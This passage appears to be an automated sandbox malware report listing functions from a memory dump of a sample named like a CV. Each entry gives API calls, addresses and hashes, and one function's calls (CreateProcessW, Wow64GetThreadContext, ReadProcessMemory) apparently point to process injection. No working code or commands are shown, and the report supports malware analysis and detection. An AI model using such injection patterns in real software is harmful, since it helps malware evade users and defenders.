Instruction ID: 3563d6421fd0cf244a20f9e1b9ade279bc3dac9c282df03bcecba460c308cc4e
Opcode Fuzzy Hash: 8b028a9a03a014d219e4d95bc5d98ed615be363d908a983d67e8d4c6fd4e2bfb
Instruction Fuzzy Hash: EE31C1B0504701CFC722EF64D84469BBBE8FF49308F00093EF69A87251E771A988CB96

Function 003A395C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 003A3973

Part of subcall function 003A81C2: __NMSG_WRITE.LIBCMT ref: 003A81E9
Part of subcall function 003A81C2: __NMSG_WRITE.LIBCMT ref: 003A81F3

__NMSG_WRITE.LIBCMT ref: 003A397A

Part of subcall function 003A821F: GetModuleFileNameW.KERNEL32(00000000,00440312,00000104,00000000,00000001,00000000), ref: 003A82B1
Part of subcall function 003A821F: ___crtMessageBoxW.LIBCMT ref: 003A835F

Part of subcall function 003A1145: ___crtCorExitProcess.LIBCMT ref: 003A114B
Part of subcall function 003A1145: ExitProcess.KERNEL32 ref: 003A1154

Part of subcall function 003A7C0E: __getptd_noexit.LIBCMT ref: 003A7C0E

RtlAllocateHeap.NTDLL(01840000,00000000,00000001,00000001,00000000,?,?,0039F507,?,0000000E), ref: 003A399F

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: 072548f369928e24dd7163be079cb01646c690546b60a362ac8685fd2df1462f
Instruction ID: b283f1d5adfe0c77b43621233a92e5f080f59fb1b017c71ece280f6ade704f8f
Opcode Fuzzy Hash: 072548f369928e24dd7163be079cb01646c690546b60a362ac8685fd2df1462f
Instruction Fuzzy Hash: 0B0192752453019AE6233B69EC46B6B3358DB83760F22012DF5059F192DFB49D0086A4

Function 003CC6D9 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,003CC385,?,?,?,?,?,00000004), ref: 003CC6F2
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,003CC385,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 003CC708
CloseHandle.KERNEL32(00000000,?,003CC385,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 003CC70F

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: acdbf14e48b1db293d26496bb566d837d4ec51a44c21a52d38ea2f168f98f82e
Instruction ID: e4910be001e073cde10b6b13bda416c28936280f65c2b0bb96618a75a36a247d
Opcode Fuzzy Hash: acdbf14e48b1db293d26496bb566d837d4ec51a44c21a52d38ea2f168f98f82e
Instruction Fuzzy Hash: 92E08632540214BBD7211B94AC09FCA7F18EB05760F104220FB14790E09BB22915879C

Function 003CBB64 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 003CBB72

Part of subcall function 003A1C9D: RtlFreeHeap.NTDLL(00000000,00000000,?,003A7A85), ref: 003A1CB1
Part of subcall function 003A1C9D: GetLastError.KERNEL32(00000000,?,003A7A85), ref: 003A1CC3

_free.LIBCMT ref: 003CBB83
_free.LIBCMT ref: 003CBB95

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8d6c99314b0704041c66cbc9d98ad607d1a0ae96d99a55b8255782f8bd4ba31d
Instruction ID: 63423ecacd36b18a51b50a0d06bc001311d0c28baa13d4dcd0a60edbe12eb309
Opcode Fuzzy Hash: 8d6c99314b0704041c66cbc9d98ad607d1a0ae96d99a55b8255782f8bd4ba31d
Instruction Fuzzy Hash: 14E05BA174174147DA3565796E45FB357DC8F05371F15081DB459FB146CF24FC4086B4

Function 00382322 Relevance: 3.9, APIs: 3, Instructions: 159COMMON

Download Yara Rule

APIs

Part of subcall function 003822A4: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,003824F1), ref: 00382303

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 003825A1
CoInitialize.OLE32(00000000), ref: 00382618
CloseHandle.KERNEL32(00000000), ref: 003F503A

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 3815369404-0
Opcode ID: 6f5d51bf856ceee99ca95f19dfdcc50e64aafd87fd551a3da9ae63deb6b6c710
Instruction ID: f4d9bd61b52f51aa27645ac7e42dbd2dfc685e47b10e2ea23fe6e69d72c7ac2a
Opcode Fuzzy Hash: 6f5d51bf856ceee99ca95f19dfdcc50e64aafd87fd551a3da9ae63deb6b6c710
Instruction Fuzzy Hash: 9B71B1BC9413818BD305EF6AE991495BBA4FB5A34478082BED51AEB3B1DBB444C4CF1C

Function 003E0828 Relevance: 3.2, APIs: 2, Instructions: 232COMMON

Download Yara Rule

APIs

_strcat.LIBCMT ref: 003E08FD

Part of subcall function 0038936C: __swprintf.LIBCMT ref: 003893AB
Part of subcall function 0038936C: __itow.LIBCMT ref: 003893DF

_wcscpy.LIBCMT ref: 003E098C

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: __itow__swprintf_strcat_wcscpy
String ID:
API String ID: 1012013722-0
Opcode ID: 6a537543dd6432baf6ee89429d8576bd782869a752dc062da92902d268265b6e
Instruction ID: 162e520a610743f711b8262970c90c1bde62d89c11e383b4b7ee04827df55f4a
Opcode Fuzzy Hash: 6a537543dd6432baf6ee89429d8576bd782869a752dc062da92902d268265b6e
Instruction Fuzzy Hash: 04914A34A00614DFCB1AEF29C49196DB7E5FF49310B5585AAE85ACF3A2DB70ED41CB80

Function 00383A0F Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00383A73

Part of subcall function 003A1405: __lock.LIBCMT ref: 003A140B

Part of subcall function 00383ADB: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00383AF3
Part of subcall function 00383ADB: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00383B08

Part of subcall function 00383D19: GetCurrentDirectoryW.KERNEL32(00007FFF,?,00000000,00000001,?,?,00383AA3,?), ref: 00383D45
Part of subcall function 00383D19: IsDebuggerPresent.KERNEL32(?,?,?,?,00383AA3,?), ref: 00383D57
Part of subcall function 00383D19: GetFullPathNameW.KERNEL32(00007FFF,?,?,00441148,00441130,?,?,?,?,00383AA3,?), ref: 00383DC8
Part of subcall function 00383D19: SetCurrentDirectoryW.KERNEL32(?,?,?,00383AA3,?), ref: 00383E48

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00383AB3

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme__lock
String ID:
API String ID: 924797094-0
Opcode ID: b4db812d0f91ea9a1b73d973cbec3ed579159950328a68bdbb4b31d41cc7ac09
Instruction ID: 134b7c6789eea2eedb1110d717816a7cd6e7ad6835d427220fdc7accdf360575
Opcode Fuzzy Hash: b4db812d0f91ea9a1b73d973cbec3ed579159950328a68bdbb4b31d41cc7ac09
Instruction Fuzzy Hash: D3119D759043419BC701EF69E94591AFBE8EF95710F00892EF5848B2B1DB709584CF96

Function 003AE9D2 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

___lock_fhandle.LIBCMT ref: 003AEA29
__close_nolock.LIBCMT ref: 003AEA42

Part of subcall function 003A7BDA: __getptd_noexit.LIBCMT ref: 003A7BDA

Part of subcall function 003A7C0E: __getptd_noexit.LIBCMT ref: 003A7C0E

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: __getptd_noexit$___lock_fhandle__close_nolock
String ID:
API String ID: 1046115767-0
Opcode ID: b3884352e05f3a0666ceb4cde80fcfa30bfc2e879bb607b2bc640c89380d7bf9
Instruction ID: 5f116db3721991cd580bd147a790627338fd8534a21f157a09dda46c3fa00251
Opcode Fuzzy Hash: b3884352e05f3a0666ceb4cde80fcfa30bfc2e879bb607b2bc640c89380d7bf9
Instruction Fuzzy Hash: D21161B3909A109AD713BF68D9827597A61EF83331F2A4350E4345F1E3CBB88D4197A5

Function 0039F4EA Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 003A395C: __FF_MSGBANNER.LIBCMT ref: 003A3973
Part of subcall function 003A395C: __NMSG_WRITE.LIBCMT ref: 003A397A
Part of subcall function 003A395C: RtlAllocateHeap.NTDLL(01840000,00000000,00000001,00000001,00000000,?,?,0039F507,?,0000000E), ref: 003A399F

std::exception::exception.LIBCMT ref: 0039F51E
__CxxThrowException@8.LIBCMT ref: 0039F533

Part of subcall function 003A6805: RaiseException.KERNEL32(?,?,0000000E,00436A30,?,?,?,0039F538,0000000E,00436A30,?,00000001), ref: 003A6856

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: fbc86824edc6a01c60a02912c5bb3bf761430232f95cde5697d95f38c89dd676
Instruction ID: 88abe1667c6cc2128043e40d2ec4a918f8fe8c3dc68083ca50db6a3ff3db6c7a
Opcode Fuzzy Hash: fbc86824edc6a01c60a02912c5bb3bf761430232f95cde5697d95f38c89dd676
Instruction Fuzzy Hash: AEF0283150020E6BCB02BF9CDC029EE77ACDF02314F658036F908E6081CBB4D64487A9

Function 003A35E4 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003A7C0E: __getptd_noexit.LIBCMT ref: 003A7C0E

__lock_file.LIBCMT ref: 003A3629

Part of subcall function 003A4E1C: __lock.LIBCMT ref: 003A4E3F

__fclose_nolock.LIBCMT ref: 003A3634

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 12ba72b3f8cd1919c27ab9bf6e47ee60669be598c1cb3a6b848a48c004e4997a
Instruction ID: 4d7941248922398a8050b0dbea73d66350f6f3184ecd2bc866ce2412225044c4
Opcode Fuzzy Hash: 12ba72b3f8cd1919c27ab9bf6e47ee60669be598c1cb3a6b848a48c004e4997a
Instruction Fuzzy Hash: F8F0B471901604AAD713BF69884776EBAA0EF53330F2A8109F460AF2E1CB7C8A419F55

Function 019FB295 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 019FBA53
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 019FBAE9
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 019FBB0B

Memory Dump Source

Source File: 00000000.00000002.1707401369.00000000019F9000.00000040.00000020.00020000.00000000.sdmp, Offset: 019F9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_19f9000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 935c44ad8318b3af66d252774f477c9026677184fbf87e93bc0843909b837ee7
Instruction ID: a4b01ddb63f4eb949e3f28c6644799fc7f2b8aa9e100986c2bcce09769ed88c0
Opcode Fuzzy Hash: 935c44ad8318b3af66d252774f477c9026677184fbf87e93bc0843909b837ee7
Instruction Fuzzy Hash: 8212DD24E24658C6EB24DF64D8507DEB272EF68301F1090ED910DEB7A4E77A4F81CB5A

Function 0038E8A0 Relevance: 1.7, APIs: 1, Instructions: 202windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0038E959

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: 7ab26611c2cd2f02a8568bcb3634c1f3f3c32764b4f09c40a6b56e9719d8df57
Instruction ID: 4956f86d955aaf85aa9fed7016f3736b5100960fe9f17a4cebee13f6ef410d90
Opcode Fuzzy Hash: 7ab26611c2cd2f02a8568bcb3634c1f3f3c32764b4f09c40a6b56e9719d8df57
Instruction Fuzzy Hash: 8681D8709087849FEF27DF24C4447697BD0AB52304F0A49BEEE898B262D775D889CB52

Function 003A2957 Relevance: 1.6, APIs: 1, Instructions: 135COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 003A2A0B

Part of subcall function 003A7C0E: __getptd_noexit.LIBCMT ref: 003A7C0E

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: __flush__getptd_noexit
String ID:
API String ID: 4101623367-0
Opcode ID: ba1b573b9a1c5d238bdcc52ef1885e10968c5b94d85714b9232a10917baff8d1
Instruction ID: 09cb368ff4ed72ca149ad15614b806921a293866bf282408fdb789f81768ee66
Opcode Fuzzy Hash: ba1b573b9a1c5d238bdcc52ef1885e10968c5b94d85714b9232a10917baff8d1
Instruction Fuzzy Hash: 77419031700706AFDF2A8FADC8819AF7BA6EF46760F25852DE855CB240EB70DD518B40

Function 0039ED18 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 0039EDC7

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 7b640dd270a1f4985382beb5a0ef842ab5751bdc12af5c7b236e8f023f0c08eb
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 6A31F470A00105DFDB1ADF58C490A69FBB6FF49340B6586A5E40ACB766DB31EDC1CB80

Function 003E040F Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 003E0519

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: df86d46202b3770112d9e09043a190d2575b9a687f3fa848423890af914dba62
Instruction ID: 9a21ec7600b11b036e881e1c8b5bcb00ca9e23086294dc1fc07f7a31a5ee097d
Opcode Fuzzy Hash: df86d46202b3770112d9e09043a190d2575b9a687f3fa848423890af914dba62
Instruction Fuzzy Hash: E031B075104A68DFCF06AF41D08066E7BB4FF49320F10854AEA955F3D6D7B0A985CF91

Function 003F9A75 Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 003F9A80

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 1e91e9ad1508ec48cdd1a0adb6760d7913627e3af07783cb4202ffae40c5c345
Instruction ID: 1dab5b08c12c021d9446c321f422744ee6ad91ba9e32a21e5d768130f4c3c2b4
Opcode Fuzzy Hash: 1e91e9ad1508ec48cdd1a0adb6760d7913627e3af07783cb4202ffae40c5c345
Instruction Fuzzy Hash: E7415E705046518FDB26DF14C484B2ABBE0BF45308F1A89ACE99A5B362C372FC85CF52

Function 003841A9 Relevance: 1.6, APIs: 1, Instructions: 63libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00384214: FreeLibrary.KERNEL32(00000000,?), ref: 00384247

LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,003839FE,?,00000001), ref: 003841DB

Part of subcall function 00384291: FreeLibrary.KERNEL32(00000000), ref: 003842C4

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Library$Free$Load
String ID:
API String ID: 2391024519-0
Opcode ID: eb7e7ffa584952de72c9f517cb7e7df5ec77e62ebc9e93bd24f96985ea8531ba
Instruction ID: f3dc72d0b0527fc44f1e9021cfa0e6d86dbd5dc2bcbc751f82f44a123d4cb684
Opcode Fuzzy Hash: eb7e7ffa584952de72c9f517cb7e7df5ec77e62ebc9e93bd24f96985ea8531ba
Instruction Fuzzy Hash: D911A331604307ABDB12FB74DD06FAE77A99F40700F10886DF596AE5C1EB74DA049B60

Function 003F9B45 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 003F9B51

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: d8907b71215a77578586c1712493d0f42d78ad555bd842ada0617edc9faf75c9
Instruction ID: 0553d466d595ead718e13a54f10767b07b3a49c24a22e506488a1eee11b64118
Opcode Fuzzy Hash: d8907b71215a77578586c1712493d0f42d78ad555bd842ada0617edc9faf75c9
Instruction Fuzzy Hash: 2A213970508701CFDB2ADF64C444B2ABBE1BF85304F26896CE69A4B661C732E845DF92

Function 003AAF61 Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

___lock_fhandle.LIBCMT ref: 003AAFC0

Part of subcall function 003A7BDA: __getptd_noexit.LIBCMT ref: 003A7BDA

Part of subcall function 003A7C0E: __getptd_noexit.LIBCMT ref: 003A7C0E

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: __getptd_noexit$___lock_fhandle
String ID:
API String ID: 1144279405-0
Opcode ID: 58262ce35960507b9189eb05495f243397f249436508164c994d2b0482c05dd1
Instruction ID: bde9131a9630c66f11634ba43380c28e273b8518aaf6428ef23546543a92e327
